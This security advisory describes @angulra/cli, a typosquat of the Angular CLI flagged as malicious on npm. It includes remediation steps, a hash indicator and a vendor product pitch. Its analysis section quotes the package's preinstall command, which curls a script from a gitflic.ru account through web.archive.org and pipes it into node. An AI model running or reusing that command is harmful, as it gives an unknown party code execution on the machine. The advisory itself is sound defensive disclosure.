Which versions of @angulra/cli are malicious?

The following npm versions of @angulra/cli are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @angulra/cli if I installed it?

Remove @angulra/cli from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed @angulra/cli — how do I know if it already compromised me?

If @angulra/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angulra/cli part of a known attack campaign?

Yes — @angulra/cli is associated with the IN-MAL-2026-020908 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angulra/cli across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angulra/cli (version 22.2.1).

Malicious package

@angulra/clinpm

Advisory published Oct 4, 2026Updated Oct 4, 2026

@angulra/cli is a confirmed malicious npm package (MAL-2026-17495) that executes malicious code on install (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angulra/cli (npm)

MAL-2026-17495

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angulra/cli

What this malware does

The package name @angulra/cli is a character-swap of @angular/cli and copies the legitimate Angular CLI's metadata (description, repository, homepage, keywords, dependencies). Its package.json defines a preinstall script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an anonymous third-party account (hellscripter) on gitflic.ru via a web.archive.org proxy and piping the response directly into Node. The URL is unpinned, has no integrity check, is unrelated to the Angular publisher, and the fetched bytes execute automatically on npm install, giving the operator of that endpoint arbitrary code execution on the installer's machine. src/analytics/analytics-collector.js additionally issues outbound POSTs via https.request alongside ping-style activity.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

e3158beab2ea0d9f8e28d488f124268c8c9a00a3a0f5599823c4d13f741ac40f

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for @angulra/cli (version 22.2.1).
If you installed it — respond
Remove @angulra/cli from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @angulra/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angulra/cli on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020908

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @angulra/cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database